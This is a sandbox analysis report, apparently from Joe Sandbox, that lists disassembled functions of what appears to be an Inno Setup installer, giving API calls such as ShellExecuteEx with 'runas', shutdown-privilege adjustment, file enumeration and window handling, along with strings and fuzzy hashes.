String ID: 64-bit helper EXE wasn't extracted$Cannot utilize 64-bit features on this version of Windows$CreateFile$CreateNamedPipe$CreateProcess$D$Helper process PID: %u$SetNamedPipeHandleState$Starting 64-bit helper process.$\\.\pipe\InnoSetup64BitHelper-%.8x-%.8x-%.8x-%.8x%.8x$helper %d 0x%x$i
API String ID: 770386003-3271284199
Opcode ID: fefe6b15b28a2f5dfcc74fe9a44b7459f870169ac87af102ceb1fd8277ffa27c
Instruction ID: 54c9584e853abf465b9d0f30fdd509929e5717807e8393d963d4681616065440
Opcode Fuzzy Hash: fefe6b15b28a2f5dfcc74fe9a44b7459f870169ac87af102ceb1fd8277ffa27c
Instruction Fuzzy Hash: 19710470A003449EDB11EB65CC45B9E77F4EB05705F1085BAF904FB282DB7899488F69

Function 00478658 Relevance: 19.3, APIs: 5, Strings: 6, Instructions: 94COMMON

Download Yara Rule

APIs

Part of subcall function 004784C4: GetModuleHandleA.KERNEL32(kernel32.dll,GetFinalPathNameByHandleA,021D2BCC,?,?,?,021D2BCC,00478688,00000000,004787A6,?,?,-00000010,?), ref: 004784DD
Part of subcall function 004784C4: GetProcAddress.KERNEL32(00000000,kernel32.dll), ref: 004784E3
Part of subcall function 004784C4: GetFileAttributesA.KERNEL32(00000000,00000000,kernel32.dll,GetFinalPathNameByHandleA,021D2BCC,?,?,?,021D2BCC,00478688,00000000,004787A6,?,?,-00000010,?), ref: 004784F6
Part of subcall function 004784C4: CreateFileA.KERNEL32(00000000,00000000,00000007,00000000,00000003,00000000,00000000,00000000,00000000,kernel32.dll,GetFinalPathNameByHandleA,021D2BCC,?,?,?,021D2BCC), ref: 00478520
Part of subcall function 004784C4: CloseHandle.KERNEL32(00000000,?,?,?,021D2BCC,00478688,00000000,004787A6,?,?,-00000010,?), ref: 0047853E

Part of subcall function 0047859C: GetCurrentDirectoryA.KERNEL32(00000104,?,00000000,0047862E,?,?,?,021D2BCC,?,00478690,00000000,004787A6,?,?,-00000010,?), ref: 004785CC

ShellExecuteEx.SHELL32(0000003C), ref: 004786E0
GetLastError.KERNEL32(00000000,004787A6,?,?,-00000010,?), ref: 004786E9
MsgWaitForMultipleObjects.USER32(00000001,00000000,00000000,000000FF,000000FF), ref: 00478736
GetExitCodeProcess.KERNEL32(00000000,00000000), ref: 0047875A
CloseHandle.KERNEL32(00000000,0047878B,00000000,00000000,000000FF,000000FF,00000000,00478784,?,00000000,004787A6,?,?,-00000010,?), ref: 0047877E

Strings

GetExitCodeProcess, xrefs: 00478763
<, xrefs: 0047869F
ShellExecuteEx returned hProcess=0, xrefs: 0047870A
runas, xrefs: 004786AD
MsgWaitForMultipleObjects, xrefs: 00478743
ShellExecuteEx, xrefs: 004786FA

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: Handle$CloseFile$AddressAttributesCodeCreateCurrentDirectoryErrorExecuteExitLastModuleMultipleObjectsProcProcessShellWait
String ID: <$GetExitCodeProcess$MsgWaitForMultipleObjects$ShellExecuteEx$ShellExecuteEx returned hProcess=0$runas
API String ID: 883996979-221126205
Opcode ID: 05426b5e2553d641bc0d59fb02fc5a091f65b8757d7083e7eaf17f783fb7e87f
Instruction ID: 1811090e6f026d40e608c2e83a367b80f37f0c53e01274ec65c4d0aaf8478ae2
Opcode Fuzzy Hash: 05426b5e2553d641bc0d59fb02fc5a091f65b8757d7083e7eaf17f783fb7e87f
Instruction Fuzzy Hash: 7B316670940604AEDB54EFA6CC49ADEB6B8EB05318F50843FF519E7281DE7C89058B59

Function 0042285C Relevance: 18.3, APIs: 12, Instructions: 255windowCOMMON

Download Yara Rule

APIs

SendMessageA.USER32(00000000,00000223,00000000,00000000), ref: 004229F4
ShowWindow.USER32(00000000,00000003,00000000,00000223,00000000,00000000,00000000,00422BBE), ref: 00422A04

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: MessageSendShowWindow
String ID:
API String ID: 1631623395-0
Opcode ID: fe921b6abe71c983525f7b2efb66a1e42baf216d7bc61c4d7c6314d42f4983af
Instruction ID: 9e9026b6a08d43f4c34b0c014f83afec13b9727198b5f0eb67f7172f0d04fbcb
Opcode Fuzzy Hash: fe921b6abe71c983525f7b2efb66a1e42baf216d7bc61c4d7c6314d42f4983af
Instruction Fuzzy Hash: 90915171B04214BFDB11EFA9DA86F9D77F4AB04304F5500BAF504AB392CB78AE419B58

Function 00418384 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 58windowCOMMON

Download Yara Rule

APIs

IsIconic.USER32(?), ref: 00418393
GetWindowPlacement.USER32(?,0000002C), ref: 004183B0
GetWindowRect.USER32(?), ref: 004183CC
GetWindowLongA.USER32(?,000000F0), ref: 004183DA
GetWindowLongA.USER32(?,000000F8), ref: 004183EF
ScreenToClient.USER32(00000000), ref: 004183F8
ScreenToClient.USER32(00000000,?), ref: 00418403

Strings

,, xrefs: 0041839C

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: Window$ClientLongScreen$IconicPlacementRect
String ID: ,
API String ID: 2266315723-3772416878
Opcode ID: 093fbc58c9f2bb22a74bd7cb36b3f86111f4d6c014dbe9a16a5ffda61369e0f0
Instruction ID: 8875a2d430ef8be2c5346fa25315cde737655516302bc4d2344e38a88124d083
Opcode Fuzzy Hash: 093fbc58c9f2bb22a74bd7cb36b3f86111f4d6c014dbe9a16a5ffda61369e0f0
Instruction Fuzzy Hash: 2B112B71505201ABEB00DF69C885F9B77E8AF48314F04067EFD58DB296D738D900CB65

Function 004555E4 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 41shutdownCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000028), ref: 004555F3
OpenProcessToken.ADVAPI32(00000000,00000028), ref: 004555F9
LookupPrivilegeValueA.ADVAPI32(00000000,SeShutdownPrivilege,00000028), ref: 00455612
AdjustTokenPrivileges.ADVAPI32(?,00000000,00000002,00000000,00000000,00000000), ref: 00455639
GetLastError.KERNEL32(?,00000000,00000002,00000000,00000000,00000000), ref: 0045563E
ExitWindowsEx.USER32(00000002,00000000), ref: 0045564F

Strings

SeShutdownPrivilege, xrefs: 0045560B

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: ProcessToken$AdjustCurrentErrorExitLastLookupOpenPrivilegePrivilegesValueWindows
String ID: SeShutdownPrivilege
API String ID: 107509674-3733053543
Opcode ID: 4cd84603c944fb792c2fd6e701572921a06a1b68e4cc7e04e52dcf9a944d71d3
Instruction ID: 23182b732e3c774e917f784577cc733395bd6f0e504c2650860deaf78f25ff04
Opcode Fuzzy Hash: 4cd84603c944fb792c2fd6e701572921a06a1b68e4cc7e04e52dcf9a944d71d3
Instruction Fuzzy Hash: CBF0C870294B41B9EA10A6718C17F3B21C89B40709F80083ABD05E90D3D7BDD40C4A2E

Function 0045D188 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 34libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(10000000,ISCryptGetVersion), ref: 0045D191
GetProcAddress.KERNEL32(10000000,ArcFourInit), ref: 0045D1A1
GetProcAddress.KERNEL32(10000000,ArcFourCrypt), ref: 0045D1B1
ISCryptGetVersion._ISCRYPT(10000000,ArcFourCrypt,10000000,ArcFourInit,10000000,ISCryptGetVersion,?,0047FAC3,00000000,0047FAEC), ref: 0045D1D6

Strings

ISCryptGetVersion, xrefs: 0045D18B
ArcFourInit, xrefs: 0045D19B
ArcFourCrypt, xrefs: 0045D1AB

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: AddressProc$CryptVersion
String ID: ArcFourCrypt$ArcFourInit$ISCryptGetVersion
API String ID: 1951258720-508647305
Opcode ID: dc81785b55ac876962535e0a2eb36b1dd730d24c9132c457d47d12d4ae2e21c2
Instruction ID: d394b6b565b4a55a8c16e24b867b534ad65140704dc94b035c924c7661ebf9a3
Opcode Fuzzy Hash: dc81785b55ac876962535e0a2eb36b1dd730d24c9132c457d47d12d4ae2e21c2
Instruction Fuzzy Hash: A2F030B0D41700CAD318EFF6AC957263B96EB9830AF14C03BA414C51A2D7794454DF2C

Function 004981F8 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 90fileCOMMON

Download Yara Rule

APIs

FindFirstFileA.KERNEL32(00000000,?,00000000,00498336,?,?,00000000,0049B628,?,004984C0,00000000,00498514,?,?,00000000,0049B628), ref: 0049824F
SetFileAttributesA.KERNEL32(00000000,00000010), ref: 004982D2
FindNextFileA.KERNEL32(000000FF,?,00000000,0049830E,?,00000000,?,00000000,00498336,?,?,00000000,0049B628,?,004984C0,00000000), ref: 004982EA
FindClose.KERNEL32(000000FF,00498315,0049830E,?,00000000,?,00000000,00498336,?,?,00000000,0049B628,?,004984C0,00000000,00498514), ref: 00498308

Strings

isRS-, xrefs: 0049826F
isRS-???.tmp, xrefs: 00498239

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: FileFind$AttributesCloseFirstNext
String ID: isRS-$isRS-???.tmp
API String ID: 134685335-3422211394
Opcode ID: e5e746a4206f9636cdb65a3f8bf32247130a98a67cfbb6b2fbe2788e69782e1e
Instruction ID: f5231d497961e3aaae96e0777280f5b29c2e5ab496b24ed358bc68db71827f47
Opcode Fuzzy Hash: e5e746a4206f9636cdb65a3f8bf32247130a98a67cfbb6b2fbe2788e69782e1e
Instruction Fuzzy Hash: D6315671901618AFDF20EF65CC41ADEBBBCDF45714F5084FBA808A32A1DB389E458E58

Function 00457594 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 241windownativeCOMMON

Download Yara Rule

APIs

PostMessageA.USER32(00000000,00000000,00000000,00000000), ref: 00457611
PostMessageA.USER32(00000000,00000000,00000000,00000000), ref: 00457638
SetForegroundWindow.USER32(?), ref: 00457649
NtdllDefWindowProc_A.USER32(00000000,?,?,?,00000000,00457921,?,00000000,0045795D), ref: 0045790C

Strings

Cannot evaluate variable because [Code] isn't running yet, xrefs: 0045778C

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: MessagePostWindow$ForegroundNtdllProc_
String ID: Cannot evaluate variable because [Code] isn't running yet
API String ID: 2236967946-3182603685
Opcode ID: 02182f65679fc44c66fc5509e09f40db7d953209f550825c00fb47c8f665695e
Instruction ID: eb512ad49ed5febd93ec6f292a038892ec4962d67be2c97403c2ee1da8299cdd
Opcode Fuzzy Hash: 02182f65679fc44c66fc5509e09f40db7d953209f550825c00fb47c8f665695e
Instruction Fuzzy Hash: 1D91C434608204DFEB15CF55D991F5ABBF5FB89304F2184BAEC0497792C638AE05DB68

Function 00455E0C Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 112libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(kernel32.dll,GetDiskFreeSpaceExA,00000000,00455F4B), ref: 00455E3C
GetProcAddress.KERNEL32(00000000,kernel32.dll), ref: 00455E42

Strings

kernel32.dll, xrefs: 00455E37
GetDiskFreeSpaceExA, xrefs: 00455E32

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: GetDiskFreeSpaceExA$kernel32.dll
API String ID: 1646373207-3712701948
Opcode ID: cfe60cce1451a080aa5580a85cc9e89e6cd68787435ab98da43f9732f1f28c23
Instruction ID: d81c9a8c7c52065d28d66f53e81ce4f313aa74f068c2efe820cb9bfc493487ae
Opcode Fuzzy Hash: cfe60cce1451a080aa5580a85cc9e89e6cd68787435ab98da43f9732f1f28c23
Instruction Fuzzy Hash: B0418671A04649AFCF01EFA5C8929EEB7B8EF48305F504567F804F7292D67C5E098B68

Function 00417CD0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 76windowCOMMON

Download Yara Rule

APIs

IsIconic.USER32(?), ref: 00417D0F
SetWindowPos.USER32(?,00000000,?,?,?,?,00000014,?), ref: 00417D2D
GetWindowPlacement.USER32(?,0000002C), ref: 00417D63
SetWindowPlacement.USER32(?,0000002C,?,0000002C), ref: 00417D8A

Strings

,, xrefs: 00417D51

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: Window$Placement$Iconic
String ID: ,
API String ID: 568898626-3772416878
Opcode ID: d460cbcd6522e18bfa96e221bd03ab5df80cf9c807befa16e6725f229280989e
Instruction ID: e85585575f8c5a3e7823c55acc6b28d6d187d41511fbfc80546af44b70413e2d
Opcode Fuzzy Hash: d460cbcd6522e18bfa96e221bd03ab5df80cf9c807befa16e6725f229280989e
Instruction Fuzzy Hash: 4C2112716042089BDF10EF69D8C1AEA77B8AF48314F05456AFD18DF346D678DD84CBA8

Function 00464158 Relevance: 7.6, APIs: 5, Instructions: 129fileCOMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001,00000000,0046433F), ref: 004641CD
FindFirstFileA.KERNEL32(00000000,?,00000000,0046430A,?,00000001,00000000,0046433F), ref: 00464213
FindNextFileA.KERNEL32(000000FF,?,00000000,004642EC,?,00000000,?,00000000,0046430A,?,00000001,00000000,0046433F), ref: 004642C8
FindClose.KERNEL32(000000FF,004642F3,004642EC,?,00000000,?,00000000,0046430A,?,00000001,00000000,0046433F), ref: 004642E6

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: Find$File$CloseErrorFirstModeNext
String ID:
API String ID: 4011626565-0
Opcode ID: d65fe662ced77c8e67b3f484c5a5271a1863079ff85dc4491b19206ced0d9f2b
Instruction ID: 9d9184480f8630aada0b530c6bd54f2fc26159d28d851f3c8c43bf9f92f270d6
Opcode Fuzzy Hash: d65fe662ced77c8e67b3f484c5a5271a1863079ff85dc4491b19206ced0d9f2b
Instruction Fuzzy Hash: 77418370A00A18DBCF10EFA5DC959DEB7B8EB88305F5044AAF804A7341E7789E448E59

Function 00463CDC Relevance: 7.6, APIs: 5, Instructions: 129fileCOMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001,00000000,00463E99), ref: 00463D0D
FindFirstFileA.KERNEL32(00000000,?,00000000,00463E6C,?,00000001,00000000,00463E99), ref: 00463D9C
FindNextFileA.KERNEL32(000000FF,?,00000000,00463E4E,?,00000000,?,00000000,00463E6C,?,00000001,00000000,00463E99), ref: 00463E2E
FindClose.KERNEL32(000000FF,00463E55,00463E4E,?,00000000,?,00000000,00463E6C,?,00000001,00000000,00463E99), ref: 00463E48

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: Find$File$CloseErrorFirstModeNext
String ID:
API String ID: 4011626565-0
Opcode ID: 319132aa37af3a0de75fcf0f51ad10aa5df08e751fe1a03177a059127406539b
Instruction ID: 85e7d80bc36d7b3e80fea797042c039a90a2821ca6a16b1e557570abf42aa49f
Opcode Fuzzy Hash: 319132aa37af3a0de75fcf0f51ad10aa5df08e751fe1a03177a059127406539b
Instruction Fuzzy Hash: 3A41B770A00A589FCB11EF65CC45ADEB7B8EB88705F4044BAF404A7381E67D9F48CE59

Function 0042E934 Relevance: 7.6, APIs: 5, Instructions: 50fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,C0000000,00000001,00000000,00000003,02000000,00000000,?,?,?,?,00452F3F,00000000,00452F60), ref: 0042E956
DeviceIoControl.KERNEL32(00000000,0009C040,?,00000002,00000000,00000000,?,00000000), ref: 0042E981
GetLastError.KERNEL32(00000000,C0000000,00000001,00000000,00000003,02000000,00000000,?,?,?,?,00452F3F,00000000,00452F60), ref: 0042E98E
CloseHandle.KERNEL32(00000000,00000000,C0000000,00000001,00000000,00000003,02000000,00000000,?,?,?,?,00452F3F,00000000,00452F60), ref: 0042E996
SetLastError.KERNEL32(00000000,00000000,00000000,C0000000,00000001,00000000,00000003,02000000,00000000,?,?,?,?,00452F3F,00000000,00452F60), ref: 0042E99C

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: ErrorLast$CloseControlCreateDeviceFileHandle
String ID:
API String ID: 1177325624-0
Opcode ID: 00c40fca2cfdd97ba02e44e9efda7f487b55ec81a2bcf6d63bb4130569f45397
Instruction ID: 661b18b1de4eb1238568a50ab540e77c3175952f9b14320adb6d96c9b056064d
Opcode Fuzzy Hash: 00c40fca2cfdd97ba02e44e9efda7f487b55ec81a2bcf6d63bb4130569f45397
Instruction Fuzzy Hash: 80F090B23A17207AF620B57A5C86F7F418CCB89B68F10423BBA04FF1D1D9A85D0555AD

Function 00483A90 Relevance: 6.0, APIs: 4, Instructions: 47windowCOMMON

Download Yara Rule

APIs

IsIconic.USER32(?), ref: 00483ACE
GetWindowLongA.USER32(00000000,000000F0), ref: 00483AEC
ShowWindow.USER32(00000000,00000005,00000000,000000F0,0049C0A8,00482FAA,00482FDE,00000000,00482FFE,?,?,?,0049C0A8), ref: 00483B0E
ShowWindow.USER32(00000000,00000000,00000000,000000F0,0049C0A8,00482FAA,00482FDE,00000000,00482FFE,?,?,?,0049C0A8), ref: 00483B22

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: Window$Show$IconicLong
String ID:
API String ID: 2754861897-0
Opcode ID: a8682cd5c1eeeb0685a914d0fd4a2573ee1bee36a61407b30f5c3b39df3f658e
Instruction ID: 69330953dcc9e05924eb29a41a10fa607e48fc8b98de7115352c70869ea30612
Opcode Fuzzy Hash: a8682cd5c1eeeb0685a914d0fd4a2573ee1bee36a61407b30f5c3b39df3f658e
Instruction Fuzzy Hash: FE015E70701240ABE600FF659C8BB6A26C5AB14749F480A3BB5449B2A3CA6DEE85C71C

Function 00462750 Relevance: 4.6, APIs: 3, Instructions: 67fileCOMMON

Download Yara Rule

APIs

FindFirstFileA.KERNEL32(00000000,?,00000000,00462824), ref: 004627A8
FindNextFileA.KERNEL32(000000FF,?,00000000,00462804,?,00000000,?,00000000,00462824), ref: 004627E4
FindClose.KERNEL32(000000FF,0046280B,00462804,?,00000000,?,00000000,00462824), ref: 004627FE

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: Find$File$CloseFirstNext
String ID:
API String ID: 3541575487-0
Opcode ID: 8963c7f3b1c349b7c6238f578806947089c9928b174111815e2d7f1f1bfb4290
Instruction ID: e6acefadc91213b77ea930f6be1f86c6134c8588622ee3d3acab995ed1c325b6
Opcode Fuzzy Hash: 8963c7f3b1c349b7c6238f578806947089c9928b174111815e2d7f1f1bfb4290
Instruction Fuzzy Hash: 87210831904B08BECB11EB65CC41ACEB7ACDB49304F5084B7E808E32A1F6789E44CE69

Function 004241DC Relevance: 4.5, APIs: 3, Instructions: 32windowCOMMON

Download Yara Rule

APIs

IsIconic.USER32(?), ref: 004241E4
SetActiveWindow.USER32(?,?,?,0046CDAB), ref: 004241F1

Part of subcall function 0042364C: ShowWindow.USER32(00410460,00000009,?,00000000,0041EDA4,0042393A,00000000,00400000,00000000,00000000,00000000,00000000,00000000,00000001,00000000,00423C0C), ref: 00423667

Part of subcall function 00423B14: SetWindowPos.USER32(00000000,000000FF,00000000,00000000,00000000,00000000,00000013,?,021D25AC,0042420A,?,?,?,0046CDAB), ref: 00423B4F

SetFocus.USER32(00000000,?,?,?,0046CDAB), ref: 0042421E

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: Window$ActiveFocusIconicShow
String ID:
API String ID: 649377781-0
Opcode ID: 1be179083055f96161d8b165ddd04f1e3bd56871e014c6a07f585ac04199aa1a
Instruction ID: c953833529836f01456b8f788e47b4b7c36f7a841d6c6df07f57e62630513da6
Opcode Fuzzy Hash: 1be179083055f96161d8b165ddd04f1e3bd56871e014c6a07f585ac04199aa1a
Instruction Fuzzy Hash: 8CF030B170012097CB10BFAAA8C5B9676A8AB48344F5500BBBD05DF357CA7CDC018778

